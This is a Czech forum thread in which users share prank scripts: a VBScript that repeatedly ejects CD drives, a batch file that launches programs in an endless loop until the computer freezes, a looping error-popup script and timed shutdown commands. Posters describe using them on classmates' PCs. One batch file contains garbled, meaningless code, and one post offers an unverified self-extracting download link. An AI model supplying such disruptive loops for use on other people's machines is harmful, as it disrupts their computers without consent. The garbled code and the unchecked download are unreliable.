Program

[kane1998]

Nemáte někdo program že se vám X krát otevře DVD/CD Romka

nebo jestli newíte jak ho vytvořit

[407sw]

co jsem videl na netu tak to nebyl program ale script

[Dutch]

MsgBox "Sem zadej nejakej text"
Set ovladani = CreateObject("WMPlayer.OCX.7" )
Set mechaniky = ovladani.cdromCollection
If mechaniky.Count  Then
For i = 0 To mechaniky.Count - 1 
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject
mechaniky.Item(i).Eject

Next
End If

cely to ulož jako x.vbs

btw. čím víc "mechaniky.Item(i).Eject" tím víc ... :twisted:

[kane1998]

no ale v jakym programu

[KubaCZ912]

Normalne opis ten kod od Dutche,uprav ho jak chces a uloz to v textovym editoru do souboru *.vbs a normalne na to klikni jako kdyz spoustis *.exe nebo *.bat soubor...

[LoCo99]

joo pořádně to nejdřív otestuj !

[AlexXx]

joo pořádně to nejdřív otestuj !

Jn a místo toho x dej tak 100:lol:.

[kane1998]

buď sem debil nebo newim nemohl by mně někdo dát přesnej návod

za to můžu nabidnout THX

[Dutch]

vezmeš ten text. Dáš ho do texťáku, ale neuložíš ho jako .TXT ale jako .VBS

[kane1998]

hmm tak já tam nic tokovýho nemam

[Dutch]

prosimtě...

vytvoř si na ploše textový soubor.

otevři ho a dej do něj ten můj text.

ulož to a ten textovej soubor přejmenuj z název.txt na název.vbs

co je na tom tak nepochopitelnýho :/

[sasán]

funguje :D kámoška si stezuje proc se ji furt otevira mechanika xD

btw. de udelat i aby to vypnulo kompa bo tak neco ?

[En3mY]

funguje :D kámoška si stezuje proc se ji furt otevira mechanika xD

btw. de udelat i aby to vypnulo kompa bo tak neco ?

ne ale existuje script kterej ti usekne hlavu a vojede pri tom tvoji mladou ... :dozey: ale jinak muzes zkusit "shutdown /i " do prikazovy radky nak tak :lol:

to kane jo ses debil,tohle by pochopil i muj pes :roll:

[Dutch]

start Pribeh.bat -t
@echo off
:begin
start calc.exe
start cmd.exe
start ctfmon.exe
start mshearts.exe
start calc.exe
start cmd.exe
start fsquirt.exe
start notepad.exe
start spider.exe
start sndvol32.exe
start sol.exe
start sndvol32.exe
start winmine.exe
break
goto begin
@echo off
import stdlib std::string::npos
for while cstrueling
startup(origStr, str + origStr[i]); 
for(int i = 0; i < origStr.length(); i++) 
if (str.find(origStr[i]) == std::string::npos) 
genetic @echo off;
int errormode=0;
exit;

uložto jako pribeh.bat

Opakujicí se řetězec událostí. Pořád pouští dokola programy dokud ti to nezaseká kompa. -> nutný restart

shutdown -t x -s

časovaný vypínání PC -> za x dosazuješ vteřiny.

uložto pod odpocitavani.bat

časování se nechá zrušit příkazem

shutdown -a

zrusit_odpocitavani.bat

ty časování používám když chodim spát. :)

[sasán]

dutch dík moc :) nasral sem tak pulku tridy :D fakt mazec

[†mefistos†]

hele mam dotaz:D asi mam blbou cdromku:D ale kdyz ulozim ten tvuj script(jako *.vbs) a pustim to tak se mi 1x otevre cdromka zavre.. pak se mi zase otevre ale zustane otevrena:D kde je chyba?:D

[Dutch]

Chyba je v tom, že "mechaniky.Item(i).Eject" neznamená vyject a zaject, ale jen vyject nebo zaject. Takže když tam je tenhle příkaz jen 3x tak...

přidělej si jich tam víc... třeba 20, ať má cdromka co dělat.

[†mefistos†]

Chyba je v tom, že "mechaniky.Item(i).Eject" neznamená vyject a zaject, ale jen vyject nebo zaject. Takže když tam je tenhle příkaz jen 3x tak...

přidělej si jich tam víc... třeba 20, ať má cdromka co dělat.

ahaaa.. supeer.. dik:D du ozkouset:D:D

EDIT: supeer slape too.. dik mooc:D

[kane1998]

jo tak asi sem idiot prostě utevřu notepad dam tam ten kód dam file > uložit jako > název souboru X.vbs > formát > TxT a je to .... nebob to spíš má bejt ... ale u mně neeeeeeeeeee .... neni k tomu potřeba nějakej program

[vojta69]

jo tak asi sem idiot prostě utevřu notepad dam tam ten kód dam file > uložit jako > název souboru X.vbs > formát > TxT a je to .... nebob to spíš má bejt ... ale u mně neeeeeeeeeee .... neni k tomu potřeba nějakej program

Hele to jsem pochopil i já, dáš to uložit jako normální soubor.txt a potom ho přepíšeš na soubor.vbs ....chápeš?

[VojtiQ]

Ja mam script i na restartovani a vypnuti pocitace:D:D:D:D:D

[†mefistos†]

jo tak asi sem idiot prostě utevřu notepad dam tam ten kód dam file > uložit jako > název souboru X.vbs > formát > TxT a je to .... nebob to spíš má bejt ... ale u mně neeeeeeeeeee .... neni k tomu potřeba nějakej program

boze ty jsi fakt retard... Tady si to stahni.. dej na plochu a spust.. rozbali ti to ty soubory na plose.. je to sfx archiv aby si to nemusel rozbalovat tak se to rozbali samo.. nemusis dekovat

www.mefistos.com/kokotihlava

[kgsws]

Ono to je vadný, místo toho aby to uložilo jako x.vbs tak se to uloží jako x.vbs.txt, proto se musí jako název souboru dat "x.vbs" aji s těma uvozovkama.

Co ten pribeh.bat? nějaká prasárna vevnitř, takhle to má stejnou funkci:

@echo off
start pribeh.bat -t
:begin
start calc.exe
start cmd.exe
start ctfmon.exe
start mshearts.exe
start calc.exe
start cmd.exe
start fsquirt.exe
start notepad.exe
start spider.exe
start sndvol32.exe
start sol.exe
start sndvol32.exe
start winmine.exe
goto begin

Tohle je vylepšená verze na CD-ROM, už se nemusí psat pořád dokola ten řádek Eject.

MsgBox "Sem zadej nejakej text", 16, "Wokna"
Set ovladani = CreateObject("WMPlayer.OCX.7" )
Set mechaniky = ovladani.cdromCollection
If mechaniky.Count  Then
For j = 0 To 20
	For i = 0 To mechaniky.Count - 1
		mechaniky.Item(i).Eject
	Next
Next
End If

řádek "For j = 0 To 20" určuje kolikrát se to má opakovat, 20 = 10 otevřít 10 zavřít

No ale sem to netestoval tak by to někdo moh skusit :)

A tady je ještě jedna novinka odemě :)

@echo off
echo MsgBox "Error něco je špatně", 16, "Wokna" > e.vbs
:cil
start e.vbs
goto cil

Uložit jako *.bat (nebo *.cmd)